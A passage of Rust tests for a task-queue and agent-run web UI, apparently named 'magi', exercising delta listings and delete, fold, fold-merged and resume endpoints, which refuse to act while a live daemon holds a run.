17806 .unwrap()
17807 .iter()
17808 .find(|row| row["id"] == blocked.id)
17809 .unwrap()["waits_on"]
17810 );
17811
17812 for id in [
17813 "20260902-140501-aaaa",
17814 "20260902-140502-bbbb",
17815 "20260902-140503-cccc",
17816 ] {
17817 write_run(&ui.runs, id, RunStatus::Merged);
17818 }
17819 let old = serde_json::to_value(
17820 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
17821 .await
17822 .unwrap()
17823 .0,
17824 )
17825 .unwrap();
17826 assert!(
17827 old.as_array().unwrap().is_empty(),
17828 "older updates must not enter the window"
17829 );
17830 let newest = serde_json::to_value(
17831 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
17832 .await
17833 .unwrap()
17834 .0,
17835 )
17836 .unwrap();
17837 assert_eq!(newest.as_array().unwrap().len(), 1);
17838 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
17839
17840 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
17841 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
17842 let talks = serde_json::to_value(
17843 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
17844 .await
17845 .unwrap()
17846 .0,
17847 )
17848 .unwrap();
17849 assert_eq!(talks.as_array().unwrap().len(), 1);
17850 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
17851 assert_eq!(
17852 serde_json::to_value(
17853 talks_list(State(ui.clone()), query(Some("")))
17854 .await
17855 .unwrap()
17856 .0
17857 )
17858 .unwrap(),
17859 serde_json::json!([])
17860 );
17861 }
17862
17863 #[tokio::test]
17864 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
17865 async fn delta_payload_benchmark() {
17866 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
17867 let ui = delta_test_ui(&home);
17868 let query = |ids: Option<String>| {
17869 Query(ListQuery {
17870 limit: Some(50),
17871 ids,
17872 })
17873 };
17874 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
17875 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
17876 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
17877 let queue_id = queue
17878 .iter()
17879 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
17880 .unwrap_or(&queue[0])
17881 .task
17882 .id
17883 .clone();
17884 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
17885 .await
17886 .unwrap()
17887 .0;
17888 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
17889 .await
17890 .unwrap()
17891 .0;
17892 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
17893 .await
17894 .unwrap()
17895 .0;
17896 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
17897 eprintln!(
17898 "DELTA_PAYLOAD {}",
17899 serde_json::json!({
17900 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
17901 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
17902 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
17903 "counts": [queue.len(), runs.len(), talks.len()],
17904 "blocked": queue_delta.len() - 1,
17905 })
17906 );
17907 }
17908
17909 #[test]
17910 fn runs_revision_moves_when_deleting_an_older_run() {
17911 let temp = TempDir::new().expect("tempdir");
17912 let runs = temp.path().join("runs");
17913 std::fs::create_dir_all(&runs).expect("create runs dir");
17914
17915 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
17916
17917 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
17918 std::thread::sleep(Duration::from_millis(10));
17919 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
17920
17921 let rev_before = runs_revision(&runs);
17922 assert!(rev_before > 0);
17923
17924 let old_dir = runs.join("20260901-100000-old1");
17925 std::fs::remove_dir_all(&old_dir).expect("remove old run");
17926
17927 let rev_after = runs_revision(&runs);
17928 assert_ne!(
17929 rev_before, rev_after,
17930 "deleting an older run must change the revision so other clients see the deletion"
17931 );
17932 }
17933
17934 fn write_state(runs: &FsPath, state: &RunState) {
17939 let dir = runs.join(&state.id);
17940 std::fs::create_dir_all(&dir).expect("run dir");
17941 std::fs::write(
17942 dir.join("run.json"),
17943 serde_json::to_string_pretty(state).expect("serialize run"),
17944 )
17945 .expect("write run.json");
17946 }
17947
17948 #[test]
17953 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
17954 let temp = TempDir::new().expect("tempdir");
17955 let runs = temp.path().join("runs");
17956 std::fs::create_dir_all(&runs).expect("create runs dir");
17957 let mut state = RunState::new(
17958 PathBuf::from("/repo/magi"),
17959 "main".to_owned(),
17960 "0123456789abcdef".to_owned(),
17961 "task".to_owned(),
17962 Config::default(),
17963 );
17964 state.id = "20260902-100000-c0de".to_owned();
17965 write_state(&runs, &state);
17966
17967 let rev_idle = runs_revision(&runs);
17968 std::thread::sleep(Duration::from_millis(10));
17969 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
17970 write_state(&runs, &state);
17971 let rev_started = runs_revision(&runs);
17972 assert_ne!(
17973 rev_idle, rev_started,
17974 "a seat starting must move the revision"
17975 );
17976
17977 std::thread::sleep(Duration::from_millis(10));
17978 state.seat_finished("judge-1");
17979 write_state(&runs, &state);
17980 let rev_finished = runs_revision(&runs);
17981 assert_ne!(
17982 rev_started, rev_finished,
17983 "and clearing it again must move the revision a second time"
17984 );
17985 }
17986
17987 #[tokio::test]
17988 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
17989 let fx = Fixture::start().await;
17994 let q = fx.queue();
17995
17996 let mut t = Task::new(
17997 "Task".to_owned(),
17998 "Instruction".to_owned(),
17999 PathBuf::from("/repo"),
18000 Source::Human,
18001 );
18002 t.block(
18003 vec!["20260101-000000-dead".to_owned()],
18004 Some("waiting on Task 1".to_owned()),
18005 );
18006 t.answers.push(crate::queue::AnsweredQuestion {
18007 question: "Which backend?".to_owned(),
18008 answer: "SQLite".to_owned(),
18009 });
18010 q.put(&mut t).expect("put t");
18011
18012 let res = fx.get("/api/queue").await;
18013 assert_eq!(res.status, 200);
18014 let list = res.json();
18015 let view = list
18016 .as_array()
18017 .expect("array")
18018 .iter()
18019 .find(|v| v["id"] == t.id)
18020 .expect("task in list");
18021 assert_eq!(view["status_str"], "blocked");
18022 assert_eq!(
18023 view["blocked_by"],
18024 serde_json::json!(["20260101-000000-dead"])
18025 );
18026 assert_eq!(view["block_reason"], "waiting on Task 1");
18027 assert_eq!(view["answers"][0]["question"], "Which backend?");
18028 assert_eq!(view["answers"][0]["answer"], "SQLite");
18029
18030 let res = fx
18034 .post(&format!("/api/queue/{}/hold", t.short()), None)
18035 .await;
18036 assert_eq!(res.status, 200);
18037 let held = res.json();
18038 assert_eq!(held["status_str"], "held");
18039 assert_eq!(held["blocked_by"], serde_json::json!([]));
18040 assert!(held["block_reason"].is_null());
18041 assert_eq!(held["answers"][0]["answer"], "SQLite");
18042 }
18043
18044 #[tokio::test]
18045 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
18046 let fx = Fixture::start().await;
18047 let q = fx.queue();
18048 let mk = |title: &str| {
18049 Task::new(
18050 title.to_owned(),
18051 "Instruction".to_owned(),
18052 PathBuf::from("/repo"),
18053 Source::Human,
18054 )
18055 };
18056 let mut root = mk("root");
18057 root.hold_manual(Some("waiting".to_owned()));
18058 q.put(&mut root).unwrap();
18059 let mut mid = mk("mid");
18060 mid.block(vec![root.id.clone()], None);
18061 q.put(&mut mid).unwrap();
18062 let mut leaf = mk("leaf");
18063 leaf.block(vec![mid.id.clone()], None);
18064 q.put(&mut leaf).unwrap();
18065
18066 let list = fx.get("/api/queue").await.json();
18067 let find = |id: &str| {
18068 list.as_array()
18069 .unwrap()
18070 .iter()
18071 .find(|v| v["id"] == id)
18072 .unwrap()
18073 .clone()
18074 };
18075 let leaf_view = find(&leaf.id);
18076 assert_eq!(
18077 leaf_view["waits_on"],
18078 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
18079 );
18080 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
18081 assert_eq!(
18082 find(&mid.id)["waits_on"],
18083 serde_json::json!([format!("{} (held)", root.short())])
18084 );
18085 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
18086 }
18087
18088 #[tokio::test]
18089 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
18090 let fx = Fixture::start().await;
18091 let q = fx.queue();
18092
18093 let mut t1 = Task::new(
18095 "Task 1".to_owned(),
18096 "Instruction 1".to_owned(),
18097 PathBuf::from("/repo"),
18098 Source::Human,
18099 );
18100 let run_id = "20260901-000000-r111";
18101 t1.runs.push(run_id.to_owned());
18102 write_run(&fx.runs(), run_id, RunStatus::Merged);
18103 q.put(&mut t1).expect("put t1");
18104
18105 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
18107 assert_eq!(res.status, 204);
18108 assert!(res.body.is_empty(), "204 No Content has no body");
18109 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
18110 assert!(
18111 fx.runs().join(run_id).exists(),
18112 "run directory must not be deleted when its task is deleted"
18113 );
18114
18115 let mut t2 = Task::new(
18117 "Task 2".to_owned(),
18118 "Instruction 2".to_owned(),
18119 PathBuf::from("/repo"),
18120 Source::Human,
18121 );
18122 t2.status = TaskStatus::Running;
18123 q.put(&mut t2).expect("put t2");
18124 let mut beat = crate::daemon::Status::new();
18125 beat.current = vec![crate::daemon::Current {
18126 task: t2.id.clone(),
18127 run: "20260901-000000-r222".to_owned(),
18128 }];
18129 beat.updated_at = jiff::Timestamp::now();
18130 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18131 .expect("publish a heartbeat");
18132 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
18133 assert_eq!(res.status, 409);
18134 assert!(
18135 res.json()["error"]
18136 .as_str()
18137 .unwrap()
18138 .contains("live daemon")
18139 );
18140 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
18141
18142 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
18148 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18149 .expect("leave a stale heartbeat");
18150 let mut t3 = Task::new(
18151 "Task 3".to_owned(),
18152 "Instruction 3".to_owned(),
18153 PathBuf::from("/repo"),
18154 Source::Human,
18155 );
18156 t3.status = TaskStatus::Running;
18157 q.put(&mut t3).expect("put t3");
18158 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
18159 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
18160 assert_eq!(res.status, 204);
18161 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
18162 assert!(
18163 q.claim(&t3.id).is_ok(),
18164 "the stale lock went with it, so the id is claimable again"
18165 );
18166
18167 let res = fx.delete("/api/queue/nonexistent").await;
18169 assert_eq!(res.status, 404);
18170 }
18171
18172 #[tokio::test]
18173 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
18174 let fx = Fixture::start().await;
18175 let runs = fx.runs();
18176
18177 let run_id = "20260901-000000-fold";
18179 let mut state = RunState::new(
18180 PathBuf::from("/repo"),
18181 "main".to_owned(),
18182 "abc".to_owned(),
18183 "instruction".to_owned(),
18184 Config::default(),
18185 );
18186 state.id = run_id.to_owned();
18187 state.status = RunStatus::Merged;
18188 state.candidates.push(crate::run::Candidate {
18189 index: 0,
18190 label: 'A',
18191 agent: "a".to_owned(),
18192 branch: "b".to_owned(),
18193 worktree: PathBuf::from("/w"),
18194 summary: String::new(),
18195 stat: String::new(),
18196 files: 1,
18197 commits: 1,
18198 empty: false,
18199 failed: None,
18200 verified_noop: None,
18201 duration_ms: 0,
18202 folded: true,
18203 });
18204 let dir = runs.join(run_id);
18205 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
18206 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
18207 .expect("write artifact");
18208 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
18209 .expect("write run.json");
18210
18211 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
18213 assert_eq!(res.status, 204);
18214 assert!(res.body.is_empty(), "204 has no body");
18215 assert!(!dir.exists(), "run directory and artifacts must be deleted");
18216
18217 let run_running = "20260901-000000-rung";
18222 write_run(&runs, run_running, RunStatus::Prep);
18223 let mut beat = crate::daemon::Status::new();
18224 beat.current = vec![crate::daemon::Current {
18225 task: "20260901-000000-task".to_owned(),
18226 run: run_running.to_owned(),
18227 }];
18228 beat.updated_at = jiff::Timestamp::now();
18229 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18230 .expect("publish a heartbeat");
18231 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
18232 assert_eq!(res.status, 409);
18233 assert!(
18234 res.json()["error"]
18235 .as_str()
18236 .unwrap()
18237 .contains("live daemon"),
18238 "the refusal must say who is holding it"
18239 );
18240 assert!(
18241 runs.join(run_running).exists(),
18242 "a run in flight keeps its directory"
18243 );
18244
18245 let run_unfolded = "20260901-000000-unfd";
18247 let mut state2 = RunState::new(
18248 PathBuf::from("/repo"),
18249 "main".to_owned(),
18250 "abc".to_owned(),
18251 "instruction".to_owned(),
18252 Config::default(),
18253 );
18254 state2.id = run_unfolded.to_owned();
18255 state2.status = RunStatus::Ready;
18256 state2.candidates.push(crate::run::Candidate {
18257 index: 0,
18258 label: 'A',
18259 agent: "a".to_owned(),
18260 branch: "b".to_owned(),
18261 worktree: PathBuf::from("/w"),
18262 summary: String::new(),
18263 stat: String::new(),
18264 files: 1,
18265 commits: 1,
18266 empty: false,
18267 failed: None,
18268 verified_noop: None,
18269 duration_ms: 0,
18270 folded: false,
18271 });
18272 let dir2 = runs.join(run_unfolded);
18273 std::fs::create_dir_all(&dir2).expect("create dir2");
18274 std::fs::write(
18275 dir2.join("run.json"),
18276 serde_json::to_string(&state2).unwrap(),
18277 )
18278 .expect("write run.json");
18279
18280 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
18281 assert_eq!(res.status, 409);
18282 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
18283 assert!(dir2.exists(), "unfolded run directory is kept");
18284
18285 let res = fx.delete("/api/runs/nonexistent").await;
18287 assert_eq!(res.status, 404);
18288 }
18289
18290 #[test]
18299 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
18300 let start = APP_JS
18301 .find("function renderStats() {")
18302 .expect("renderStats");
18303 let end = start
18304 + APP_JS[start..]
18305 .find("function statsTile(")
18306 .expect("the next top-level function");
18307 let body = &APP_JS[start..end];
18308
18309 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
18310 let gate_end = gate_start
18311 + body[gate_start..]
18312 .find("}\n renderStatsQueue")
18313 .expect("the gate's own closing brace, right before the unconditional call");
18314 let gated = &body[gate_start..gate_end];
18315
18316 assert_eq!(
18317 body.matches("renderStatsQueue(").count(),
18318 1,
18319 "renderStats must call renderStatsQueue exactly once: {body}"
18320 );
18321 assert!(
18322 !gated.contains("renderStatsQueue"),
18323 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
18324 run-derived panels on an empty run history - the queue panel has to render \
18325 regardless: {gated}"
18326 );
18327 }
18328
18329 #[test]
18330 fn web_ui_delete_contract_in_front_end() {
18331 assert!(APP_JS.contains("deleteRun:"));
18333 assert!(APP_JS.contains("deleteTask:"));
18334
18335 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
18337 ..APP_JS.find("function renderRuns").unwrap()];
18338 assert!(!run_cards_slice.to_lowercase().contains("delete"));
18339
18340 assert!(APP_JS.contains("renderRunDelete"));
18342 assert!(APP_JS.contains("runDeleteReason"));
18343 assert!(APP_JS.contains("magi fold"));
18344 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
18345
18346 assert!(APP_JS.contains("cancel.focus"));
18348 assert!(APP_JS.contains("armedRunDelete"));
18349 assert!(APP_JS.contains("renderTaskDeleteBox"));
18350 assert!(APP_JS.contains("armed${cap(key)}"));
18351
18352 assert!(APP_JS.contains("disabled: status === \"running\""));
18354 }
18355
18356 #[test]
18376 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
18377 let build = APP_JS
18378 .find("function createRunCard")
18379 .expect("createRunCard exists");
18380 let update = APP_JS
18381 .find("function updateRunCard")
18382 .expect("updateRunCard exists");
18383 let end = APP_JS
18384 .find("function renderRuns")
18385 .expect("renderRuns exists");
18386
18387 let builder = &APP_JS[build..update];
18389 let open = builder.find("refs = {").expect("createRunCard sets refs");
18390 let literal = &builder[open + "refs = {".len()..];
18391 let close = literal.find('}').expect("the refs literal is closed");
18392 let published: HashSet<&str> = literal[..close]
18393 .split(',')
18394 .filter_map(|entry| entry.split(':').next())
18396 .map(str::trim)
18397 .filter(|name| !name.is_empty())
18398 .collect();
18399 assert!(
18400 published.len() > 5,
18401 "the refs literal did not parse into names: {published:?}"
18402 );
18403
18404 let mut used: Vec<&str> = Vec::new();
18407 let updaters = &APP_JS[update..end];
18408 for (at, _) in updaters.match_indices("r.") {
18409 let before = updaters[..at].chars().next_back();
18412 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
18413 continue;
18414 }
18415 let rest = &updaters[at + 2..];
18416 let len = rest
18417 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
18418 .unwrap_or(rest.len());
18419 if len > 0 {
18420 used.push(&rest[..len]);
18421 }
18422 }
18423 assert!(
18424 used.len() > 5,
18425 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
18426 );
18427
18428 let missing: Vec<&str> = used
18429 .iter()
18430 .copied()
18431 .filter(|name| !published.contains(name))
18432 .collect();
18433 assert!(
18434 missing.is_empty(),
18435 "a run card's updater reaches for {missing:?}, which `createRunCard` \
18436 never put in `refs` - every card will throw and the list will \
18437 render empty under a count line that says otherwise. Published: \
18438 {published:?}"
18439 );
18440 }
18441
18442 #[tokio::test]
18443 async fn folding_from_the_phone_reports_what_it_removed() {
18444 let fx = Fixture::start().await;
18445 let runs = fx.runs();
18446
18447 let id = "20260901-000000-fold";
18451 write_run(&runs, id, RunStatus::Stalled);
18452 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18453 assert_eq!(res.status, 200);
18454 assert_eq!(res.json()["removed_count"], 0);
18455 assert_eq!(res.json()["run"], id);
18456 assert!(
18457 runs.join(id).exists(),
18458 "a fold keeps the run's record; only the worktrees go"
18459 );
18460 }
18461
18462 #[tokio::test]
18463 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
18464 let fx = Fixture::start().await;
18465 let runs = fx.runs();
18466 let wt = fx.home.path().join("wt").join("magi").join("dead");
18467 let id = "20260901-000000-dead";
18468 std::fs::create_dir_all(runs.join(id)).expect("run dir");
18469 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
18470 std::fs::create_dir_all(&wt).expect("worktree dir");
18471
18472 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18473 assert_eq!(res.status, 200, "{}", res.body);
18474 assert!(
18475 res.json()["removed_count"].as_u64().unwrap() > 0,
18476 "the worktree this build could not read a state for still went"
18477 );
18478 assert!(
18479 !runs.join(id).exists(),
18480 "an unreadable run has no candidate list to fold selectively, so \
18481 the whole record goes - same as `magi fold` on the CLI"
18482 );
18483 }
18484
18485 #[tokio::test]
18486 async fn deleting_an_unreadable_run_removes_it_wholesale() {
18487 let fx = Fixture::start().await;
18488 let runs = fx.runs();
18489 let wt = fx.home.path().join("wt").join("magi").join("gone");
18490 let id = "20260901-000000-gone";
18491 std::fs::create_dir_all(runs.join(id)).expect("run dir");
18492 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
18493 std::fs::create_dir_all(&wt).expect("worktree dir");
18494
18495 let res = fx.delete(&format!("/api/runs/{id}")).await;
18496 assert_eq!(res.status, 204, "{}", res.body);
18497 assert!(!runs.join(id).exists(), "the broken record is gone");
18498 assert!(!wt.exists(), "its worktree is gone too");
18499 }
18500
18501 #[tokio::test]
18502 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
18503 let fx = Fixture::start().await;
18504 let runs = fx.runs();
18505 let id = "20260901-000000-live";
18506 write_run(&runs, id, RunStatus::Implementing);
18507
18508 let mut beat = crate::daemon::Status::new();
18509 beat.current = vec![crate::daemon::Current {
18510 task: "20260901-000000-task".to_owned(),
18511 run: id.to_owned(),
18512 }];
18513 beat.updated_at = jiff::Timestamp::now();
18514 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18515 .expect("publish a heartbeat");
18516
18517 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
18518 assert_eq!(res.status, 409);
18519 assert!(
18520 res.json()["error"]
18521 .as_str()
18522 .unwrap()
18523 .contains("live daemon"),
18524 "folding under a running agent would pull its worktree away"
18525 );
18526 }
18527
18528 #[tokio::test]
18529 async fn fold_merged_requires_a_pr_url() {
18530 let fx = Fixture::start().await;
18531 let runs = fx.runs();
18532 let id = "20260901-000000-nourl";
18533 write_run(&runs, id, RunStatus::Blocked);
18534
18535 let res = fx
18536 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
18537 .await;
18538 assert_eq!(res.status, 400, "{}", res.body);
18539
18540 let blank = fx
18541 .post(
18542 &format!("/api/runs/{id}/fold-merged"),
18543 Some(r#"{"pr_url":" "}"#),
18544 )
18545 .await;
18546 assert_eq!(blank.status, 400, "{}", blank.body);
18547 }
18548
18549 #[tokio::test]
18550 async fn fold_merged_is_404_for_an_unknown_run() {
18551 let fx = Fixture::start().await;
18552 let res = fx
18553 .post(
18554 "/api/runs/nosuchrun/fold-merged",
18555 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18556 )
18557 .await;
18558 assert_eq!(res.status, 404, "{}", res.body);
18559 }
18560
18561 #[tokio::test]
18562 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
18563 let fx = Fixture::start().await;
18564 let runs = fx.runs();
18565 let id = "20260901-000000-livemerge";
18566 write_run(&runs, id, RunStatus::Blocked);
18567
18568 let mut beat = crate::daemon::Status::new();
18569 beat.current = vec![crate::daemon::Current {
18570 task: "20260901-000000-task".to_owned(),
18571 run: id.to_owned(),
18572 }];
18573 beat.updated_at = jiff::Timestamp::now();
18574 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18575 .expect("publish a heartbeat");
18576
18577 let res = fx
18578 .post(
18579 &format!("/api/runs/{id}/fold-merged"),
18580 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18581 )
18582 .await;
18583 assert_eq!(res.status, 409, "{}", res.body);
18584 assert!(
18585 res.json()["error"]
18586 .as_str()
18587 .unwrap()
18588 .contains("live daemon"),
18589 "correcting a run's merge underneath a running agent would race \
18590 whatever it is doing to the same `status`/`merge` fields"
18591 );
18592 }
18593
18594 #[tokio::test]
18599 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
18600 let fx = Fixture::start().await;
18601 let runs = fx.runs();
18602 let id = "20260901-000000-unconfirmed";
18603 write_run(&runs, id, RunStatus::Blocked);
18604
18605 let res = fx
18606 .post(
18607 &format!("/api/runs/{id}/fold-merged"),
18608 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
18609 )
18610 .await;
18611 assert_eq!(res.status, 400, "{}", res.body);
18612 assert_eq!(
18613 read_run(&runs, id).unwrap().status,
18614 RunStatus::Blocked,
18615 "a pull request that could not be confirmed merged must leave \
18616 the run exactly where it was"
18617 );
18618 }
18619
18620 #[tokio::test]
18621 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
18622 let fx = Fixture::start().await;
18623 let runs = fx.runs();
18624
18625 for (status, word) in [
18631 (RunStatus::Merged, "merged"),
18632 (RunStatus::Ready, "ready"),
18633 (RunStatus::Failed, "failed"),
18634 ] {
18635 let id = format!("20260901-000000-{}", &word[..4]);
18636 write_run(&runs, &id, status);
18637 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
18638 assert_eq!(res.status, 409, "{word} must not be resumable");
18639 let err = res.json()["error"].as_str().unwrap().to_owned();
18640 assert!(err.contains(word), "the refusal names the status: {err}");
18641 }
18642
18643 let mid = "20260901-000000-midf";
18648 write_run(&runs, mid, RunStatus::Reviewing);
18649 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
18650 assert_eq!(res.status, 202, "an interrupted run is resumable");
18651 }
18652
18653 #[tokio::test]
18654 async fn resume_is_refused_while_the_loop_is_running() {
18655 let fx = Fixture::start().await;
18656 let runs = fx.runs();
18657 let stalled = "20260901-000000-stal";
18658 write_run(&runs, stalled, RunStatus::Stalled);
18659
18660 let mut beat = crate::daemon::Status::new();
18664 beat.current = vec![crate::daemon::Current {
18665 task: "20260901-000000-task".to_owned(),
18666 run: "20260901-000000-othr".to_owned(),
18667 }];
18668 beat.updated_at = jiff::Timestamp::now();
18669 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18670 .expect("publish a heartbeat");
18671
18672 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
18673 assert_eq!(res.status, 409);
18674 let err = res.json()["error"].as_str().unwrap().to_owned();
18675 assert!(err.contains("othr"), "it names what the loop is on: {err}");
18676 assert!(err.contains("stop it first"), "{err}");
18677 }
18678
18679 #[test]
18680 fn a_run_cannot_be_resumed_twice_at_once() {
18681 let home = TempDir::new().expect("temp home");
18682 let ui = Ui::new(
18683 Queue::at(home.path().join("queue")),
18684 Questions::at(home.path().join("questions")),
18685 Talks::at(home.path().join("talks")),
18686 home.path().join("runs"),
18687 home.path().to_path_buf(),
18688 PathBuf::from("/repo"),
18689 )
18690 .with_worktrees_root(home.path().join("wt"));
18691 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
18692 let again = ui.begin_resume("20260901-000000-once");
18693 assert!(again.is_err(), "a second tap must not start a second graph");
18694 drop(first);
18695 assert!(
18696 ui.begin_resume("20260901-000000-once").is_ok(),
18697 "and the claim is released when the attempt ends"
18698 );
18699 }
18700
18701 #[test]
18702 fn talk_thinking_tracks_only_its_held_turn_claim() {
18703 let home = TempDir::new().expect("temp home");
18704 let ui = Ui::new(
18705 Queue::at(home.path().join("queue")),
18706 Questions::at(home.path().join("questions")),
18707 Talks::at(home.path().join("talks")),
18708 home.path().join("runs"),
18709 home.path().to_path_buf(),
18710 PathBuf::from("/repo"),
18711 )
18712 .with_worktrees_root(home.path().join("wt"));
18713 let id = "20260901-000000-once";
18714
18715 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
18716 let turn = ui.begin_talk_turn(id).expect("claim turn");
18717 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
18718 assert!(
18719 !ui.is_thinking("20260901-000000-other"),
18720 "one talk's turn does not make another talk busy"
18721 );
18722 drop(turn);
18723 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
18724 }
18725
18726 #[test]
18727 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
18728 let home = TempDir::new().expect("temp home");
18729 let talks = Talks::at(home.path().join("talks"));
18730 let ui = Ui::new(
18731 Queue::at(home.path().join("queue")),
18732 Questions::at(home.path().join("questions")),
18733 talks.clone(),
18734 home.path().join("runs"),
18735 home.path().to_path_buf(),
18736 PathBuf::from("/repo"),
18737 )
18738 .with_worktrees_root(home.path().join("wt"));
18739 let id = "20260901-000000-cross";
18740
18741 let other = Talks::at(home.path().join("talks"))
18742 .claim_turn(id)
18743 .expect("claim")
18744 .expect("the other process wins");
18745 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
18746 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
18747 assert!(
18748 matches!(
18749 ui.begin_talk_turn_unless_pending(id).expect("start"),
18750 TalkTurnStart::Foreign
18751 ),
18752 "a foreign holder is refused, not queued behind"
18753 );
18754 assert!(
18755 !ui.talk_turns.lock().unwrap().live.contains(id),
18756 "a refused claim leaves no in-process entry behind"
18757 );
18758 drop(other);
18759 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
18760 assert!(talks.turn_held(id), "the web turn holds the lease");
18761 drop(turn);
18762 assert!(
18763 !talks.turn_held(id),
18764 "dropping the guard releases the lease"
18765 );
18766 }
18767
18768 fn consult_question(ui: &Ui) -> Question {
18769 let mut q = Question::new(
18770 "20260901-000000-consult".to_owned(),
18771 "implement".to_owned(),
18772 "impl-A".to_owned(),
18773 "Which backend?".to_owned(),
18774 String::new(),
18775 vec!["SQLite".to_owned(), "Redis".to_owned()],
18776 );
18777 ui.questions.put(&mut q).expect("question");
18778 q
18779 }
18780
18781 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
18782 (
18783 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
18784 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
18785 )
18786 }
18787
18788 #[tokio::test]
18789 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
18790 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18791 let q = consult_question(&ui);
18792 let talk = ui.talks.get(&id).expect("talk");
18793 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
18794 let before = consult_snapshot(&ui, &q, &id);
18795 let cli_talks = Talks::at(ui.home.join("talks"));
18796 assert_eq!(
18797 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
18798 .await
